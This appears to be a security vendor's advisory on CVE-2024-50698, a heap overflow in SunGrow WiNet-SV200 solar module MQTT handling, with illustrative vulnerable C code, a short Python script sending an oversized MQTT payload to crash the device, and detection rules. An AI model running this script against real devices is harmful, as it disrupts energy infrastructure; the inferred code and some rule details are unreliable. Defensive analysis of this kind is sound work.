CVE-2024-50698

Executive Summary

CVE-2024-50698 is a critical heap-based buffer overflow vulnerability in SunGrow WiNet-SV200 devices running firmware version SV200.001.00.P027 and earlier. The flaw resides in the MQTT message handling logic, where insufficient bounds checking allows an attacker to overflow heap memory by sending a crafted MQTT packet. Successful exploitation could lead to remote code execution (RCE) or denial of service (DoS) on the device, potentially compromising solar energy management systems. No public proof-of-concept (PoC) or patch is currently available, and the vendor has not released a fix. The EPSS score is 0.0%, indicating low exploitation activity in the wild, but the risk remains high for critical infrastructure environments.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It affects a proprietary embedded device (SunGrow WiNet-SV200) used in solar energy management. Supply chain risks include compromised firmware updates or malicious MQTT brokers targeting unpatched devices.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0, but based on the vulnerability type (heap overflow in network-facing MQTT service), a realistic assessment would be:

• Attack Vector (AV): Network (N) – MQTT is typically exposed on TCP port 1883.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – Exploit affects only the vulnerable component.
• Confidentiality (C): High (H) – Potential for arbitrary code execution.
• Integrity (I): High (H) – Attacker can modify device behavior.
• Availability (A): High (H) – DoS or full compromise possible.

Estimated CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Estimated Score: 9.8 (Critical)

Deep Dive & Mechanics

The SunGrow WiNet-SV200 is a communication module used in solar inverters to enable remote monitoring and control via MQTT. The vulnerability exists in the MQTT message parsing routine, specifically when handling the payload of a PUBLISH packet. The firmware fails to validate the length of the MQTT message content against the allocated heap buffer, leading to a classic heap overflow.

Root Cause:
The memcpy or similar function copies user-supplied MQTT payload data into a fixed-size heap buffer without proper bounds checking. An attacker can send a crafted MQTT PUBLISH packet with a payload length exceeding the buffer size, overwriting adjacent heap metadata or other data structures.

Attack Flow:

1. Attacker connects to the device's MQTT broker (default port 1883).
2. Attacker sends a crafted PUBLISH packet with a payload larger than the expected buffer.
3. The device's MQTT handler copies the payload into a heap buffer, causing overflow.
4. Overwritten heap metadata leads to memory corruption, potentially allowing code execution or crash.

Impact:

• Remote Code Execution (RCE) with device privileges.
• Denial of Service (DoS) via crash or hang.
• Potential lateral movement within the solar energy network.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is inferred from the advisory. The following pseudo-code illustrates the flaw:

Vulnerable Code (C-like):

void handle_mqtt_publish(char *payload, int payload_len) {
    char *buffer = malloc(256);  // Fixed-size buffer
    if (buffer == NULL) return;
    memcpy(buffer, payload, payload_len);  // No bounds check!
    // Process buffer...
}

Patched Code (Hypothetical):

void handle_mqtt_publish(char *payload, int payload_len) {
    int max_len = 256;
    if (payload_len > max_len) {
        // Reject or truncate
        return;
    }
    char *buffer = malloc(payload_len + 1);
    if (buffer == NULL) return;
    memcpy(buffer, payload, payload_len);
    buffer[payload_len] = '\0';
    // Process buffer...
}

Exploitation & Lab Setup

Red Team (Attacker)

Prerequisites:

• Network access to the target device on port 1883 (MQTT).
• Python 3 with paho-mqtt library.

Exploit Script (Python):

import paho.mqtt.client as mqtt
import struct

def exploit(target_ip, target_port=1883):
    client = mqtt.Client()
    client.connect(target_ip, target_port, 60)
    
    # Craft oversized payload (e.g., 1024 bytes)
    payload = b"A" * 1024
    # Publish to any topic
    client.publish("test/topic", payload)
    client.disconnect()

if __name__ == "__main__":
    exploit("192.168.1.100")

Expected Outcome:
The device may crash or become unresponsive. For RCE, further heap grooming and shellcode injection would be required.

Blue Team (Defender)

Detection:

• Monitor MQTT traffic for unusually large payloads (>256 bytes).
• Use network intrusion detection (NIDS) rules to flag oversized MQTT PUBLISH packets.
• Enable logging on the device (if possible) to capture crash dumps.

Mitigation:

• Isolate WiNet-SV200 devices on a separate VLAN with strict firewall rules.
• Disable MQTT if not required, or restrict to trusted brokers only.
• Monitor vendor channels for firmware updates.

Indicators of Compromise (IOCs)

• Network:
  • MQTT packets with payload length > 256 bytes on port 1883.
  • Repeated connection attempts from unknown IPs to the MQTT broker.
• Host:
  • Device crash logs or unexpected reboots.
  • Memory corruption errors in system logs.
• File:
  • Modified firmware binaries (if attacker gains persistence).

Detection Engineering

YARA Rule

rule CVE_2024_50698_MQTT_Overflow {
    meta:
        description = "Detects oversized MQTT payloads targeting SunGrow WiNet-SV200"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2024-50698"
    strings:
        $mqtt_publish = { 30 ?? ?? 00 00 }  // MQTT PUBLISH packet header (topic length)
        $large_payload = /.{257,}/           // Payload > 256 bytes
    condition:
        $mqtt_publish and #large_payload > 0
}

Sigma Rule

title: CVE-2024-50698 MQTT Heap Overflow Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects oversized MQTT PUBLISH packets targeting SunGrow WiNet-SV200
author: Valters IT
logsource:
    category: network
    product: suricata
detection:
    selection:
        app_protocol: mqtt
        mqtt.command: publish
        mqtt.payload_length: > 256
    condition: selection
falsepositives:
    - Legitimate large firmware updates (unlikely)
level: high

Suricata Rule

alert tcp $EXTERNAL_NET any -> $HOME_NET 1883 (msg:"CVE-2024-50698 MQTT Heap Overflow Attempt"; flow:to_server,established; content:"|30|"; depth:1; byte_test:2,>,256,2,relative; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Network Segmentation: Place WiNet-SV200 devices on a dedicated VLAN with strict ACLs.
2. Firewall Rules: Block inbound MQTT (port 1883) from untrusted networks.
3. Monitor: Deploy the provided Suricata/Sigma rules to detect exploitation attempts.

Long-Term Fix:

• Contact SunGrow support for a firmware patch. If unavailable, consider replacing the device with a patched alternative.
• Implement input validation at the network perimeter (e.g., IPS/IDS) to drop oversized MQTT packets.

Workaround:

• Disable MQTT functionality if not essential for operations.

Valters IT
Securing Critical Infrastructure, One CVE at a Time.